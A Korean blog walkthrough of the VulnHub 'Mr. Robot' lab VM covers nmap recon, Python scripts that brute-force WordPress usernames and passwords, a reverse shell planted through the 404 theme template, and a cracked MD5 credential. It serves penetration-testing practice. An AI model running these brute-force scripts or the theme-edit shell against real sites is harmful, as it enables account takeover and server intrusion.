https://www.vulnhub.com/entry/mr-robot-1,151/

 

 

 

1. Information Gathering

┌──(takudaddy㉿t4kud4ddy)-[~]
└─$ sudo nmap -p- -sC -sV -O 10.0.2.10
sudo: unable to resolve host t4kud4ddy: Name or service not known
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-10 00:00 EST
Nmap scan report for 10.0.2.10
Host is up (0.00062s latency).
Not shown: 65532 filtered ports
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
MAC Address: 08:00:27:C9:BF:FF (Oracle VirtualBox virtual NIC)
 

dic 파일과 txt 파일(첫 번째 플래그) 확인이 가능하다.

fsocity.dic 파일을 내려받은 후 확인해 보면,

8십5만여 단어가 들어있고

정렬한 뒤 중복을 제거해 보면

1만 1천여 단어로 정리가 가능.

이걸 별도로 저장한 뒤 써먹어 본다.

 

wordpress 로그인 페이지.

wpscan을 돌렸지만 딱히 찾아지는 건 없음.

 

 

hydra로 id + password 찾아볼 수 있지만

연습할 겸 파이썬으로 스크립트를 제작하기로 했다.

 

 

 


 

 

2. EXPLOITATION

 

 

스크립트의 아이디어는 우선,

로그인 실패 시 출력되는 메시지를 보면

Invalid user name이라고 나오는데

아이디가 맞고 비번이 틀린 경우

다른 메시지가 나올 것이라 가정해 볼 수 있다.

 

 

이 점을 활용해, 위에서 찾은 딕셔너리 리스트 항목을

하나씩 뽑아 Invalid user name이 안 나오는 경우를

찾으면 되겠다.

#!/usr/bin/python
import requests


with open("/home/takudaddy/newdic.dic", "r") as f:
	dics = f.readlines()

for dic in dics:
	url = "http://10.0.2.10/wp-login.php"
	data = {"log":dic,"pwd":"hey","wp-submit":"Log+In"}
	cookies = {"s_fid":"4D83FA11D9778BC9-16BCF51124593E6E",
		"s_nr":"1636523429803",
		"s_cc":"true",
		"s_sq":"%5B%5BB%5D%5D",
		"wordpress_test_cookie":"WP+Cookie+check"
		}
	msg = "Invalid username"

	dic = dic.strip()
	resp = requests.post(url, data=data, cookies=cookies)
	if (msg in resp.text):
		print(dic, "is not available")
	else:
		print(dic, "Found")
		break
 

 

 

스크립트를 돌려본 결과,

계획대로 에러 메시지가 노출되지 않는

특정 항목에서 멈췄고, 따라서 아이디는

elliot라고 생각할 수 있다.

 

 

실험을 위해 해당 아이디를 사용하고

비번을 아무거나 입력해 보면,

elliot 유저에 대한 비번이 맞지 않는다고 나온다.

 

동일한 스크립트를 약간 수정해 비번을 찾아본다.

#!/usr/bin/python
import requests


with open("/home/takudaddy/newdic.dic", "r") as f:
	dics = f.readlines()

for dic in dics:
	url = "http://10.0.2.10/wp-login.php"
	data = {"log":"elliot","pwd":dic,"wp-submit":"Log+In"}
	cookies = {"s_fid":"4D83FA11D9778BC9-16BCF51124593E6E",
		"s_nr":"1636523429803",
		"s_cc":"true",
		"s_sq":"%5B%5BB%5D%5D",
		"wordpress_test_cookie":"WP+Cookie+check"
		}
	msg = "Invalid username"
	msg2 = "The password you entered"
	
	dic = dic.strip()
	resp = requests.post(url, data=data, cookies=cookies)
	if (msg2 in resp.text):
		print(dic, "is not available")
	else:
		print(dic, "Found")
		break
 

비번은 ER28-0652

 

 

hydra로 돌려보면,

맞다.

 

로그인 성공!

 

 

Edit Themes에 접속해 404 template을 수정한다.

 

 

저장한 뒤 리스너를 기동시키고

404 페이지가 뜨도록 아무 경로나 입력하면,

침투 성공!

 


 

 

3. PRIVILEGE ESCALATION

 

.

home 디렉터리를 살펴보면 robot 사용자가 있고

들어가 보면 해당 사용자의 암호가 들어있는 파일이 있다.

 

robot:c3fcd3d76192e4007dfb496cca67e13b

md5로 암호화된 password를 복호화 해보면,

abcdefghijklmnopqrstuvwxyz

 

 

이를 활용해 robot 사용자로 전환을 시도하면

성공!

 

 

두 번째 플래그도 찾았고,

 

 

nmap 사용이 가능함!

 

 

끝!

 

728x90
반응형

'OSCP > Vulnahub' 카테고리의 다른 글

[+] Typo  (0) 2023.01.18
37. LazySysAdmin  (0) 2021.11.18
35. PWNLAB - 파일 업로드 경로 변조  (0) 2021.11.10
Brainpan(win.BOF)  (0) 2021.10.22
33. OSCP  (0) 2021.07.13

+ Recent posts